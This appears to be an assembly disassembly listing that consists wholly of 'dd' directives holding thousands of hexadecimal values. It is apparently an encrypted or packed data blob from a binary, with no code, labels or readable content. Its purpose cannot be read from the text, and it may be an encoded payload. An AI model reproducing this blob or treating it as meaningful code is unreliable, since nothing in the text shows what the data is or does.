		dd 91C081Ah, 0C8798414h, 46A378E8h, 5063CEB8h, 0E90D8A04h
		dd 0D88DC85Ch, 48B0CAEFh, 0C1E6D16Ah, 5543532Ch, 0F7EED848h
		dd 669022B0h, 0C382EBF2h, 0CCDE92E7h, 50DDFE97h, 0AE63707h
		dd 76127D70h, 26E800CAh, 0EE870527h, 2206456Ch,	465218F9h
		dd 3942704Eh, 0E92A8015h, 0D29F70EBh, 0C49B2012h, 622FAC7Eh
		dd 0A538A555h, 5518DCC2h, 80595EAh, 5789AF5Eh, 41D2CB2Eh
		dd 500AAF93h, 77E0C149h, 750DD0C7h, 22AB66A2h, 0CB934929h
		dd 1575AA5Bh, 3706382h,	288A5B66h, 9B264E57h, 0B5809C7h
		dd 79A9AA2Fh, 7F608BF6h, 4006DA64h, 0D2BA09F7h,	2B2C1990h
		dd 0D953F224h, 0C5326344h, 3B41AC38h, 5BDB95FCh, 0BADDE19Ah
		dd 0AE8B29E2h, 6B77E6E5h, 400971Bh, 5C6C2048h, 16BC0CC1h
		dd 33895A10h, 28FF4568h, 662BFCBFh, 147D043h, 3941C7B3h
		dd 6B537A94h, 3DBEF1C8h, 0C2570C3h, 5E08CB60h, 0C8157CB7h
		dd 0A8E90411h, 0AD83D9FDh, 68B7A1DEh, 89511766h, 0BA068732h
		dd 3040EB04h, 3C754BFh,	13DB0EEFh, 766C8EBBh, 53F7EA03h
		dd 0B4295ABCh, 81750C4h, 5B1560DCh, 0E1BBB8D3h,	0E262C301h
		dd 4BDF68C0h, 82BE3352h, 0CC562B03h, 380C0464h,	0E54E05Ch
		dd 42CD2159h, 0CAEE46E9h, 0AE6A7FDAh, 26DBDBDFh, 94744416h
		dd 0FEF93422h, 6B16CEA3h, 0BA3F3578h, 995E0488h, 0A546B24Ch
		dd 84EBA00h, 0B84D0244h, 76AC3B97h, 7CD1C8F7h, 259A9D21h
		dd 34E1276Bh, 70E82EF3h, 431EB97h, 4DE854EBh, 0E6017657h
		dd 0FB08A8BFh, 0E95D0C5Fh, 0D83327D1h, 719348A0h, 1ECEFE80h
		dd 92BFF680h, 4012BB98h, 66D816B7h, 82D2EEAh, 0A2211A7Ah
		dd 0A2526D5h, 22370846h, 2E905F2Dh, 629F6C68h, 0BCD17768h
		dd 7F96556Bh, 0A0CE9F22h, 0F4E3B5B7h, 88C64E72h, 0E0404771h
		dd 27F07E31h, 85900B82h, 0EC0E688Dh, 60CD8116h,	0E9199D28h
		dd 0CAB25BB4h, 97E14AA2h, 0B17FC3CDh, 7E62E2A1h, 84625CD4h
		dd 0A0570B04h, 0C31A127Ah, 0E3315126h, 0AE7BB03Ah, 15D7764Eh
		dd 9C1B69E1h, 5D25E22Ch, 1C2719D8h, 6843903Fh, 419BAA79h
		dd 0D83A6DCDh, 44413EEDh, 505AD3Eh, 83CB969Fh, 593A9DE8h
		dd 0F65BF6D8h, 0F0372589h, 5ECE0E5h, 0E6305966h, 1651A958h
		dd 325ADD89h, 19388954h, 76CB2C56h, 138D4ABFh, 3D93A8ECh
		dd 779D6B18h, 6295771Eh, 2039D21Ch, 25070FDBh, 4F58038Bh
		dd 2DA3DA2h, 0E4610904h, 0B753D02Ch, 0B87C30C5h, 0CC051B88h
		dd 43160606h, 0EED93180h, 0A7CF5EC0h, 36F84EEFh, 28A348A1h
		dd 328EC44Dh, 51C01A3h,	61FE2DFAh, 0F4363D40h, 0F9294E68h
		dd 0B850879Dh, 26C53967h, 0BF38E0AAh, 22A3944Fh, 2CF37E16h
		dd 0ED4B101Eh, 0C94A8BCh, 2E21BA00h, 0F0B818EBh, 2CF37212h
		dd 13E91B02h, 41D1D154h, 0F51975CBh, 0C7F42030h, 24C4912h
		dd 0BB760EEFh, 8AC9CCCFh, 12573200h, 0FA901B55h, 0BB7A20EDh
		dd 68872F16h, 3977E202h
		dd 0BBE87AAh, 0DAC25639h, 82BB65FFh, 0D32FE955h, 2766665Dh
		dd 0A076C084h, 5FB56BEFh, 0AFB8944Bh, 367CCD7Eh, 7985194Bh
		dd 7E47E7AAh, 64AACA2Fh, 0BE66962Fh, 0A048FF2Ch, 0D4D84CC0h
		dd 0EAD83230h, 3FB0B73Fh, 4DDBCD06h, 0FE453D6h,	206823F1h
		dd 0AFE2F580h, 0F09FD592h, 13357284h, 0EE76CD5Bh, 57886601h
		dd 0C7C50110h, 68F5986Fh, 0C66DAA25h, 21EE0B97h, 63A26714h
		dd 0BEE917E9h, 0B3B0204Eh, 78BF7C9Ah, 84D35269h, 62586713h
		dd 0E87157E4h, 6C09F662h, 24517A2Dh, 0BB80E23Ah, 4949031Eh
		dd 0E329D761h, 0D86D12A2h, 0B5BC6CDFh, 0D75AC2FCh, 3284D6BAh
		dd 84A5A83Dh, 0CCBEDD68h, 9E407C4Bh, 0E7504A5Eh, 0D136415Eh
		dd 4AA77DD5h, 0D37D344h, 0E628C910h, 4A5F2EB3h,	0CA3B1206h
		dd 894F2D3Dh, 594FF2Fh,	9A54C4FCh, 989FEEBEh, 0C041E3C4h
		dd 5866E141h, 5913CE88h, 0DCEFF328h, 0EBE0D32Eh, 10AECBEBh
		dd 372C9B4Fh, 1152F40h,	0DE5F0D13h, 255ED180h, 0E5495292h
		dd 0FEE2F225h, 6806B254h, 2D457B47h, 0A396D332h, 6420F99Fh
		dd 7677A352h, 0DD69DBB6h, 76258F80h, 0CC1153Dh,	31E3617Eh
		dd 4151F83Bh, 140CA008h, 22E8E913h, 3B776027h, 85F75BA9h
		dd 0BF28DE68h, 5EE95A3Ch, 0D0FE490h, 0FAA71639h, 2912695Fh
		dd 0B2FE3984h, 86E9A1E8h, 2D02A328h, 395D3650h,	7808C17Dh
		dd 0DF59E728h, 0B6B0CA9Eh, 2683BB4Ah, 0FF2CD8F6h, 0E15DFB92h
		dd 0EECD5249h, 0AF50C9Eh, 0A59959EFh, 4E171C7Dh, 2A49F858h
		dd 6825D73Ah, 98FC33FDh, 0A0422003h, 2707BFA2h,	1FC03F69h
		dd 4E67E84Ch, 6E10C218h, 4C1AE972h, 0BCB1E8EFh,	0B2E75190h
		dd 2FA3E1B7h, 0DAF6AD00h, 0B2B0EA80h, 8B504A6h,	0AA5BFD28h
		dd 4104DC80h, 298F2A68h, 7412B049h, 405F826Dh, 0C0FBE613h
		dd 7688C175h, 7CB87EAEh, 7FCD245Eh, 9DB94C48h, 0ABCC02C3h
		dd 0CB6A617Dh, 0B05E2FEDh, 932953FFh, 4C021114h, 739F0159h
		dd 0CEE91E79h, 212CF86Ch, 0DF464F91h, 35EC89E1h, 8F5EB04Ch
		dd 0AF77C507h, 4FEB2AAEh, 0F2811431h, 0BB5BC122h, 9ACDFF07h
		dd 366E3208h, 0F7497D74h, 0ADBED165h, 6F83D44Ch, 0D57BE8A9h
		dd 2B6B1B3Dh, 0C980B1E1h, 0BAA2F42Fh, 2C9C3218h, 136EC10Ch
		dd 40524F67h, 60468E0Dh, 8227E978h, 0D997A074h,	9D4ADB07h
		dd 0F8FCDFF8h, 4902DC9Dh, 933F95F3h, 7FAC14A4h,	2AB652E0h
		dd 51C6FE01h, 0EE2085B5h, 4037F03Eh, 0C001C8F6h, 182C08E8h
		dd 8230C628h, 614298F5h, 685F70D1h, 0ECEF3522h,	16C0F636h
		dd 8A5006B8h, 0E5D99F7Fh, 0FEBB5300h, 0B734D676h, 0E9185158h
		dd 0C2D1E2F4h, 698F04A7h, 98D50142h, 0FD30E9BAh, 28F727BEh
		dd 58430C7Bh, 5FDDF909h, 9B2DE924h, 6150C641h, 835AFD3Bh
		dd 3DE5FE9h, 6A26EF23h,	0C09787Eh, 76946CCFh, 0AA5F1362h
		dd 509079CCh, 1D2D4F22h, 81084012h, 0ADF670EAh,	72A23A33h
		dd 65125458h, 0DBCA4DE6h, 0EB043005h, 0BC20B190h, 0F9280087h
		dd 4E1C05Bh, 6E58B353h,	30E21615h, 0F31038BCh, 0D8F716ACh
		dd 68A59B09h, 80A76867h, 0E60F05ADh, 65250B66h,	0D1FED4E4h
		dd 0F0102D5Bh, 18EE34C9h, 0FC4815FCh, 4F3080A5h, 7DF7386Ch
		dd 0BE8990D2h, 0A95A92E3h, 0F8E1021h, 5296B61Fh, 2DBEF3h
		dd 0A8E9D486h, 0B00176E4h, 58C18818h, 0DEF0CB30h, 98329011h
		dd 2D1D1639h, 7CCD41DFh, 6A45E736h, 6884D1C5h, 8B9A01FBh
		dd 80183409h, 3D178D90h, 5A0CE901h, 64AB488h, 425C2500h
		dd 0F70D19B3h, 0C147935h, 941EA12Dh, 0E65CA674h, 0DEE081D6h
		dd 0C2EDF239h, 0E65E692Ch, 62257C0Fh, 5D3F2B8h,	0F1767BF2h
		dd 48EA0167h, 3FD6433Bh, 5F554809h, 0B6645018h,	2FA3FE4Ch
		dd 0E99DE8CDh, 0B2B75FD5h, 13535099h, 90592C80h, 0D69EC5AAh
		dd 6F951EBCh, 0E93C376h, 2801E530h, 0FE5A18D3h,	30F910CBh
		dd 5E27582h, 0E3071E84h, 5E9F589Ch, 1187F544h, 712BB09h
		dd 4ECA7075h, 58C0138h,	21F706A6h, 267A8EA9h, 0B2E4B708h
		dd 2FD196CDh, 0E1259B74h, 6180F1EDh, 6804E7C0h,	18B52B02h
		dd 97E67A1Fh, 6AAF79D9h, 761DC1E5h, 7663AA70h, 0BF572829h
		dd 0D6869D08h, 0BD055BE6h, 6C2A7B03h, 0BE7612FBh, 0F7BF4BD5h
		dd 0D3A484B2h, 50E24FA8h, 0D4C011FCh, 9C626602h, 0FD2E03EDh
		dd 0C1FD9D99h, 79F01C0Ch, 508513ACh, 27B971BBh,	0EDE36BAAh
		dd 0EC11805Eh, 6E242F6Fh, 0D013E551h, 1C1DA45h,	4694F04h
		dd 54F48CAEh, 0DBB249C5h, 0FC65C5BBh, 6AAC5BB6h, 0A8CBBFB4h
		dd 1C6AFA18h, 693B22BFh, 952C895h, 826515D1h, 2E21739Ch
		dd 0F44DEEC1h, 37228774h, 2923F325h, 8FE41CAh, 62A8FA45h
		dd 83C5582Dh, 0ED252F2Ah, 104E74Fh, 0C562F6B9h,	4FC13A50h
		dd 0AB050F45h, 69BBAB53h, 0E8789764h, 0FB2F51E6h, 6B99B4C2h
		dd 0D20039F2h, 6850EADh, 77CCFEBEh, 3E721208h, 0A7E4F12Bh
		dd 4096F50Dh, 1375E917h, 51B40D27h, 0C259EC93h,	0D8E763E1h
		dd 588D20BFh, 45045060h, 0AF3964F7h, 0CA895D80h, 752D0C59h
		dd 0D0B6612Bh, 0E0281D90h, 9E0B599Ch, 767EE451h, 3ABC426Bh
		dd 53C8835Fh, 0EF290311h, 5C896BF2h, 45F40C4Ah,	0E9B6C258h
		dd 827E067Fh, 7FC30E62h, 2990D1EEh, 612924Bh, 96CDB098h
		dd 649E5934h, 0C6308389h, 7AA43201h, 0B6136049h, 0DFD4091Eh
		dd 32BCA4D6h, 0B4F1BC4Fh, 5BCCD121h, 688D3C07h,	4D55A5A2h
		dd 96DF2737h, 5783407Ch, 2D1B1495h, 0B992EE75h,	0B6CA3442h
		dd 65D57FC8h, 2021B224h, 1F7C3147h, 51B30BE7h, 4D7E6BC0h
		dd 43C1DE2Fh, 258220BCh, 6C41EBC2h, 87303B0Ch, 5A9C56E8h
		dd 0C240AE47h, 0F36F2CCh, 0B2E9AD1h, 0F1C83C12h, 5D210289h
		dd 3088AD04h, 0C6A1665Ah, 39F5C105h, 4BAF9703h,	0AFF29B19h
		dd 3127C878h, 2683D7C3h, 4E02B826h, 6068D828h, 0A3416E1Fh
		dd 105812Fh, 3060EF00h,	0C40B830h, 12FAFF06h, 2DFB29E6h
		dd 64E02075h, 0B90D009Dh, 12E3370Fh, 0ABF13119h, 893651CAh
		dd 0D2E0349Ah, 65092AB1h, 872C53FAh, 0C074972Dh, 7AF80541h
		dd 0F06A642Dh, 0E5078310h, 61AF1117h, 6B37903Fh, 7911F054h
		dd 69BECDE6h, 8A80DD96h, 5826C580h, 0CA3EFD2Ch,	0AE7E744Bh
		dd 4293451Fh, 0ACED13AFh, 0E7F4B755h, 0EC5A00B0h, 0C9084F23h
		dd 728AF840h, 934AC2E1h, 62ED6557h, 0FAA9E468h,	2CD85E03h
		dd 63F85BA3h, 662EF828h, 8017DE51h, 7C1D0682h, 0A4ED814Ch
		dd 0ECA29517h, 59CE06D7h, 1E4EE7C2h, 0BEA8120Eh, 45CF01E5h
		dd 3420ED23h, 0F0607BB1h, 7E4C531h, 0E9315B1Fh,	53CD0257h
		dd 0F47E4E7Ah, 835D49B6h, 0A90E3580h, 0E5F44745h, 98F0B2B7h
		dd 1C2D053Fh, 8211B525h, 8803904Eh, 62D7BDD4h, 4FCFD909h
		dd 0B50198C5h, 8F4140FEh, 0F8B08574h, 2024C70Bh, 0ECB30B5Dh
		dd 14F740A7h, 5A3B89BCh, 2789E1E0h, 37075FF9h, 779819D3h
		dd 3670A268h, 0EB0ED497h, 2269697Eh, 6C0E5344h,	0C19D4A94h
		dd 28CD09F6h, 8452C9F7h, 0AB176380h, 9EC2BC9h, 7A4D9CB8h
		dd 5B545FFh, 0B225CFE9h, 0A0A44E11h, 2D5B03DDh,	35A71B53h
		dd 7BE10C5h, 2E5C5D27h,	97A3E9D0h, 0E588A982h, 1458A0D6h
		dd 3EC18237h, 0E494FBC6h, 0E5B75882h, 0E6BC8821h, 0D201BA8h
		dd 0D4F997AEh, 9B5E7E2h, 0CF38F474h, 0C480CFC9h, 14D5055Dh
		dd 62986231h, 0C932A095h, 50094F91h, 124CF512h,	0FA30829Ch
		dd 0EF0C9704h, 5E685701h, 78B33376h, 0D707410Bh, 522B5626h
		dd 0EC2C057h, 0B0514F08h
		dd 0C86E2B0Fh, 98ABE16Fh, 0C4EC6D17h, 0EEB1C5BBh, 89DF085Dh
		dd 55A0501Ah, 0EF33E305h, 0DB4136A6h, 0B968F910h, 1F1ABF3Ah
		dd 0DDF542D5h, 73F20FE8h, 2D48487Bh, 6CCF31A5h,	4F305B66h
		dd 0C1283B2h, 59F39CFDh, 14C7FC35h, 68072FD5h, 0D11DDA2Dh
		dd 6A010638h, 8FB1CAFCh, 58E6D7Bh, 667D1018h, 0C36682h
		dd 0D623F3BEh, 0F6BD575Ah, 0B06E51Dh, 0A7013E3Dh, 0CB8B5CAAh
		dd 7D4FC3E0h, 0F676F82Dh, 0C1831CA0h, 0C9E94301h, 0C5D98F49h
		dd 36972598h, 0F2CB41BBh, 0CB69797Dh, 6DA0E2FBh, 68131810h
		dd 47B31690h, 0B871FA00h, 0E7C14F7Ch, 6FB0548h,	47AF2C50h
		dd 1CC7010Ch, 9CE964FCh, 2FC6484Fh, 0BE3CF841h,	0ECA1918h
		dd 5100D60Dh, 5905429Eh, 98E5AED7h, 2F55F21Dh, 67EA76D5h
		dd 47580802h, 2B2A8F80h, 2CC2076Eh, 0D8913D08h,	594D40C5h
		dd 92745CB5h, 0E80ED41Ch, 8AAD5F2Eh, 440BE9E0h,	0BDBFE791h
		dd 9B051CC9h, 0ABAFD27h, 390723F0h, 0D1010856h,	0F9B5CD72h
		dd 855D2D60h, 43A0AA6Bh, 1DC5BC31h, 5A3249FAh, 855B9A5Dh
		dd 8ABE24C8h, 0C8E90BA0h, 0E21CD492h, 4996DCD9h, 0CEDC104h
		dd 0C7141748h, 92E0841h, 9C4C5A63h, 83407EEFh, 3772D7CFh
		dd 4B11F62Ch, 82B927F7h, 0D9511828h, 29A15592h,	0A658E82Bh
		dd 746816C5h, 4C0CB33Bh, 8C745FC5h, 97065288h, 0AB665204h
		dd 70D426A2h, 0A6314705h, 7E8F0054h, 4A48D364h,	4F094AB0h
		dd 750A61C9h, 165C0609h, 0A42F9B83h, 0D5AE321Dh, 0FC5CF18Bh
		dd 14EC158h, 49534847h,	221578E9h, 0C2BF275Bh, 0DE9E8207h
		dd 5C1207Ch, 4976EA4Bh,	91AB9F8h, 0F5FE76E6h, 51443071h
		dd 38F1383h, 7BD0EF3Dh,	0D2DA4841h, 0EF5DE3E2h,	0C86613D4h
		dd 0B24EE727h, 9992B631h, 8B5EB23Fh, 866E0253h,	88A0F9CEh
		dd 5C17EBD5h, 9193B6FDh, 33D9EEDh, 8183B480h, 0A8C1ABF1h
		dd 0CFCF305Ah, 0C0C45585h, 62B81312h, 7B2CE84h,	9A75FB89h
		dd 0EAAC1DD3h, 5A8D2EAh, 6C0A9DC1h, 0E904EBD8h,	19169AECh
		dd 13AC4494h, 1D8F1633h, 1025F38Dh, 0A750B74Ch,	31C645E1h
		dd 34AE0248h, 0A868AD00h, 92EA965Ch, 0C2C9ABE0h, 0B816A237h
		dd 97A2E93Bh, 66C836BBh, 0F361652Ch, 0FF4778C5h, 0EEF2565Eh
		dd 9D2CF2FAh, 96263974h, 0C6F2E209h, 761E2FF2h,	89BB08F1h
		dd 50A028E8h, 8903072h,	662E6847h, 0DCCF32BFh, 0AF27C7E7h
		dd 0C0DF241Fh, 0D36F13BBh, 5EF1684Dh, 0C3013FF9h, 284053D1h
		dd 0D5F7F087h, 4648C8B7h, 4AE50A45h, 42FDD921h,	0EE5620DCh
		dd 18EDC750h, 0C76F127h, 0E725C0E8h, 58307661h,	6681419Dh
		dd 8226289h, 31DA2DFh, 49AC5675h, 0CC243D70h, 8B4FA9EEh
		dd 2B277D1h, 8478595Dh,	0BF60E954h, 0C9CD9717h,	0A6EE6255h
		dd 1CFB5B4Ah, 0F9C713DEh, 22808F99h, 5641E9F7h,	787B3C2Ah
		dd 0C239B0DEh, 185B6810h, 1D043CAFh, 7A159271h,	0D9BDF450h
		dd 1868D000h, 1D87213h,	0AD8570ACh, 0E775FA42h,	62BA39F4h
		dd 59CBE33Ah, 0EA6A207Fh, 5A52C488h, 0C24B04FBh, 66E01319h
		dd 3D2913CDh, 7F26C059h, 0B390158Ah, 6DD76901h,	0C6B5E9CCh
		dd 85DF883Ch, 1340584Dh, 0A55801D2h, 0E1FB293Bh, 0E90841EBh
		dd 4C013A20h, 3C8BFD21h, 0B2D9AC7Ah, 0C1AE4A7Dh, 2C16359Eh
		dd 67025679h, 5E132977h, 963D546h, 3A3BC4B1h, 0D401F0B2h
		dd 0E92980FCh, 9D4AEE5Fh, 0C6BC1D64h, 5B6C66F1h, 0C7108030h
		dd 2296A3E9h, 2EE82914h, 5A8BBC69h, 0A268805Fh,	0B077D927h
		dd 64310A1Fh, 0A5B023DCh, 6585EB90h, 749DE979h,	2E640B29h
		dd 54126B46h, 57053667h, 1BC86A7Eh, 0CB03DEFFh,	925C0777h
		dd 0DC35A382h, 0E407D5FBh, 0D81E9568h, 3816EF9Dh, 0B6ED629Dh
		dd 3C03B819h, 5CB74E31h, 0C1AA41B8h, 0A03C2A44h, 0AF1A26E9h
		dd 8A68601Dh, 395A372Bh, 16E1C0B0h, 0C5DC3DB1h,	410CF8FDh
		dd 902DC0C3h, 3EA405Ah,	6ECE3831h, 0A0FE0C04h, 0BBC35AE5h
		dd 0B1E61CEBh, 0CAD435D0h, 0EA6631D4h, 4250201Ah, 9804AB7h
		dd 0E8E925EFh, 242982F4h, 48C799C2h, 4B2B686Ah,	52F1226Fh
		dd 8600746Eh, 814D9707h, 3B2E1ECBh, 0F3013C0Eh,	96D75B3h
		dd 0E46C204Bh, 0B2F40112h, 0BD12CDB8h, 207909DEh, 0EA810D05h
		dd 399A5A31h, 85C8FE05h, 1062973Fh, 64B0F494h, 3FCC2E4Ah
		dd 0E8151294h, 0B11B164Fh, 61F32E0Bh, 132CFAD2h, 3DA15967h
		dd 7BBDF0D8h, 55963A16h, 668015FCh, 1EA9A71h, 4FC1E95Fh
		dd 0F3075B8Fh, 778916F5h, 89EF3123h, 89631F2Eh,	9D844969h
		dd 0C85BA852h, 0C9D0A4CCh, 9C04EEF3h, 0D2B4E8ADh, 59112CEFh
		dd 7E22E925h, 185725C5h, 14BD5502h, 0F1865842h,	38604625h
		dd 42DC828h, 0B680F897h, 3AE95011h, 0B0262E9Ch,	0D5E25A09h
		dd 8689D90h, 89637249h,	55E64270h, 0EAE85612h, 7881959h
		dd 44D183C5h, 56DA3A60h, 98BE5618h, 0FE9F1344h,	0FCEE06A3h
		dd 0E9131496h, 74FFC44Eh, 71E5A4D6h, 985D6940h,	7FFD0223h
		dd 0DBF75F1Dh, 67099976h, 478093Eh, 0C340C910h,	680F6441h
		dd 95095890h, 177333Ah,	0AD29F3C7h, 2AE7588Ch, 0B709C12Fh
		dd 770DDA58h, 809B7E2h,	13CF4B05h, 4801FEEAh, 24DD18E6h
		dd 45A3F1F2h, 2EDE99B8h, 826A15A5h, 8CD0DEAFh, 832DF49Dh
		dd 22C2805Bh, 9232EA99h, 258CBC72h, 44A9B635h, 0AC4F041Ch
		dd 0B7DEB017h, 0BF58799Fh, 836057A5h, 0F2B0CF88h, 8545FA50h
		dd 56BE632Ch, 164BEF9Ch, 0BFEAD71Ah, 0A31C080Ch, 7DCC0B13h
		dd 8DB33212h, 67F07751h, 55572EFAh, 0A54E0CB3h,	960FC51Bh
		dd 64143107h, 0B7AEE62Eh, 0C1182E51h, 5296D4A5h, 6FFFA982h
		dd 98896FDh, 0BE378CC0h, 6E319852h, 1E15DE5h, 906118DCh
		dd 215F0208h, 0D3F70DE3h, 0F127585Ch, 0BE986EDh, 0F70F555Eh
		dd 323AA265h, 0F87DC844h, 0A052FA17h, 49379B91h, 709E00Dh
		dd 110048B3h, 0E946DC43h, 9CD402Bh, 0E4B3C09Fh,	6829D02h
		dd 855DCE68h, 82FC5DF0h, 0C4001A58h, 21608077h,	0A69859CDh
		dd 0FF2EED02h, 5589A4E8h, 7E319FB1h, 83A8A294h,	9774510Eh
		dd 832D00FEh, 1692865h,	858D068h, 7C2F11A6h, 44F7EB35h
		dd 0ACB9202Eh, 33C9BD0Bh, 0B86F84Ah, 6EF718D8h,	858FE58h
		dd 0EDE9177Ah, 0B83E2DA1h, 4FB9E406h, 439ABB96h, 545CBD00h
		dd 51E957E7h, 4227774Eh, 54E23E82h, 607080D5h, 0F9013D0Fh
		dd 88EFAF1h, 0E274D9ABh, 0DFB85080h, 4353678h, 46C49205h
		dd 0A909BFEBh, 6823A127h, 696B31E2h, 46616F20h,	8004FD66h
		dd 6A6E0652h, 0CE813700h, 421E2470h, 0AFD52DE9h, 315223FEh
		dd 0DA3B0586h, 21512EA3h, 9D7D803Dh, 74B95E0Eh,	183C059Fh
		dd 915345E9h, 0FEE86812h, 0FE2232DDh, 48D7522Ch, 0C541C889h
		dd 0F05DEB17h, 2DB4EEA0h, 3A59EF81h, 0C9EC47E7h, 49B09135h
		dd 0C8203070h, 8B315B4Dh, 0BAF85AC6h, 33402C00h, 0FC99B969h
		dd 97F9F4h, 0B4C981A4h,	18E3275Bh, 0C82862D9h, 96697605h
		dd 0B0AA0966h, 633E91A8h, 0CE5F7505h, 515F1D02h, 4866054h
		dd 0A3B89D01h, 82829728h, 5DC17F42h, 0DDF277A0h, 6250C977h
		dd 24127EE6h, 24970ED2h, 43575230h, 23E91309h, 842DF2BDh
		dd 0B416BE4Bh, 0E2DB583h, 9B9D408Ch, 42232568h,	4C3C805h
		dd 90FEE908h, 7CE4BF83h, 0C125E525h, 0C5F952C6h, 0EB55123Eh
		dd 145C5078h, 0C3E7F6E9h, 1D0B04A5h, 0FF36D854h, 1E5B5C13h
		dd 3114791Eh, 3FF1397Eh, 7CF8FD07h, 0C39690AAh,	9BD0EFCh
		dd 865B89CCh, 1CBCFC71h
		dd 9615B905h, 0D157BE09h, 4D96004Dh, 2B39F56Fh,	0C9EF3F5h
		dd 4B8BFF61h, 0A1FC3168h, 3D11DC3h, 2DF3B810h, 3981E5Eh
		dd 19183929h, 3504D8F7h, 0B5382CCAh, 623B1FCCh,	0E6CF109h
		dd 0F97E02EBh, 407FD6ECh, 13BD6655h, 31BB08C3h,	4329C2B9h
		dd 0E943E06Fh, 85ADEB64h, 865210FDh, 39E6BFAAh,	6B9263F2h
		dd 0F7FB870Dh, 0CFEC08D7h, 0C683C0D9h, 7AB1EF4h, 0E1952FF6h
		dd 0C7F15B44h, 536CB2Bh, 6FA2E953h, 0C9E231ABh,	72425F3h
		dd 0AA96F4B2h, 0D9F0F775h, 0D2EA9728h, 0A350A060h, 0ACB8253Eh
		dd 208CAB31h, 563FC4FCh, 542D2124h, 0D821B4D3h,	8080F817h
		dd 7103D025h, 2B2D064Dh, 0DCF52CEDh, 0F75AA909h, 0A0D0764Bh
		dd 8BF1BD08h, 0D268CE63h, 808F7917h, 72C71BB3h,	9CC45253h
		dd 891D8D90h, 0E7D5FE21h, 6CE9046Ch, 2F71A93Ah,	823D7603h
		dd 0DB365CBh, 59E0BDDh,	74FFB705h, 521F00Fh, 72885F40h
		dd 0E1E75BFAh, 0CC24D1E2h, 2BF92DEFh, 86CFD3F2h, 8D7F666h
		dd 0FC8DD580h, 28722D80h, 20C41566h, 68177D89h,	82ED4656h
		dd 0CBC0CA9Fh, 5DEF89E6h, 0AB6FA6D9h, 0DAEE0BFBh, 4F4B9014h
		dd 3F9BF194h, 0B596F2F2h, 139E913h, 6B14E9h, 13F380C7h
		dd 0F698DC30h, 116DA42Ch, 76E68862h, 11E904F3h,	0AB1C94FEh
		dd 1E67DCC0h, 5D917DB3h, 0BE5BAFA0h, 97DF0338h,	0FD540C04h
		dd 0A30C16BEh, 0FF80D2B2h, 6F832047h, 5053F4E7h, 1C685200h
		dd 5A3D0408h, 0A18D1EB8h, 4B62A5E4h, 0DF2C8975h, 0D1A75FEDh
		dd 11852EB5h, 0B6E91F20h, 0F6AD31A6h, 0C5E95905h, 85976AAEh
		dd 0CF1C04Fh, 0FC3BB60Ah, 970F5A38h, 0BD35F710h, 5FA53CCFh
		dd 0C812FE5h, 45B50D3Ch, 159A665Dh, 9A78CE9h, 555BDA31h
		dd 2D22E698h, 5F126880h, 5AA69A4Ah, 0FDB436ECh,	4ED978Eh
		dd 0B54F74Eh, 52B248E9h, 0F0403123h, 0C6BE831h,	217301B9h
		dd 71E9327Eh, 0DA9D7A64h, 55139462h, 7C8AB436h,	0F19D6C60h
		dd 25DB3779h, 98A25831h, 40B0D29h, 92C20889h, 30DDDA20h
		dd 1F8712DEh, 53328C26h, 0C0072859h, 5814F889h,	0F703B088h
		dd 65A62AFBh, 6A440C00h, 0F90920EBh, 41492C5Fh,	0EE5101ECh
		dd 2C011E03h, 17D73D91h, 1F56827Ah, 31796020h, 6D1B094h
		dd 604D92F6h, 54090C26h, 20F5918h, 0F2318AD2h, 0DDB861F8h
		dd 6E8EC180h, 5DCE7EA1h, 0E9E1EC71h, 0D59B88C3h, 0D1D149FBh
		dd 0D0677C74h, 5E213EC1h, 445A618Eh, 92A72A04h,	0F1F7E6B1h
		dd 35EE815Bh, 2B087071h, 84178F8h, 2AC82641h, 0B912F7BBh
		dd 5B16362Ch, 0CB9F5197h, 8AE296F4h, 6BF1099Fh,	1D014516h
		dd 1C63BF1h, 0A0865865h, 0EB07C168h, 8C19CB4Bh,	95E00246h
		dd 0D1B38017h, 0B99A9DFEh, 335E477Dh, 2F225B4h,	2927D82Ch
		dd 0F140D631h, 50975EF3h, 496812A7h, 131BA337h,	0B2FCFF92h
		dd 9F03BDB5h, 0D7E9D130h, 77A7C0EEh, 5B780F3Ch,	9DE6C9Dh
		dd 0FD5DCEB0h, 3263AE90h, 3FE24082h, 6068B60Ch,	1F2C86BEh
		dd 0EED13710h, 0F8305B04h, 93238063h, 6C13F2A6h, 0F9E4ECE9h
		dd 409207EEh, 745B1B62h, 0B4A4F8C6h, 5ED8D8EBh,	0AD08C795h
		dd 0B9C2F0F6h, 82A45C1Bh, 39FB51ACh, 0C323ED41h, 41D7A684h
		dd 0D7EC2FA9h, 591DEBA1h, 0EA866017h, 52758E82h, 0FE58A807h
		dd 8130044Dh, 0F8281CE1h, 0ECC3D95Bh, 0D9CF6AC0h, 0E8D15612h
		dd 0FA93E394h, 0EF8FEA74h, 49662658h, 53EC3D22h, 9DCCFD09h
		dd 0C01860BFh, 0E9E10988h, 0F4DE84A1h, 0F6EC636Fh, 0FBE5FAD4h
		dd 0E0E90506h, 82DEF439h, 8E2AD541h, 9AE90909h,	5F30D76Bh
		dd 423F4A16h, 74CA161Dh, 482431BBh, 108703FDh, 27AA6BBh
		dd 0DAD5BC05h, 0E20840FCh, 18042E79h, 24084892h, 90D55A2Eh
		dd 945E96A3h, 574A6281h, 44B95900h, 0D3A93D47h,	60D55E93h
		dd 0B868513Bh, 0AACB2962h, 72387554h, 1C704068h, 0ECAFDEB7h
		dd 35FEB426h, 5D0D6060h, 48017A70h, 0E82FCAF7h,	4007EC4h
		dd 3F0D77E4h, 528CB73h,	0D3055135h, 910BE1Ah, 84783BD5h
		dd 148B4FEAh, 75858CB8h, 0BA9912A6h, 0A2102ACBh, 295650A4h
		dd 6F43621Eh, 0A37331CDh, 98237AC2h, 0BA2DC0B5h, 50046145h
		dd 7C003090h, 29CFAFFEh, 0E7F75AD1h, 0C4AC30h, 8144F369h
		dd 5E07AAE2h, 0E62E5760h, 13C96308h, 0A82C5DE9h, 5F35DEC1h
		dd 1D75F0EBh, 468A3C1Fh, 5DC32D7Ah, 68132F16h, 0DC8A6CB5h
		dd 55BFE90Bh, 30D1F93Bh, 9235007Ch, 1B7A04E5h, 0D8159868h
		dd 4E40F685h, 55FA0101h, 0FE6BB6BDh, 0E0122F41h, 0D7CB0AC1h
		dd 5EF13100h, 80E1099Fh, 56656F39h, 0A001761Dh,	2755D082h
		dd 0EFDA515Ch, 4D44C004h, 0F3BF2991h, 0FA582774h, 8F5D2447h
		dd 98D197C4h, 1F7F88CEh, 7FE90D16h, 37EAD5C4h, 0BCDEF669h
		dd 0B8B8D95Ah, 0BD1E16D6h, 86809D3h, 3570301Dh,	507DA8B2h
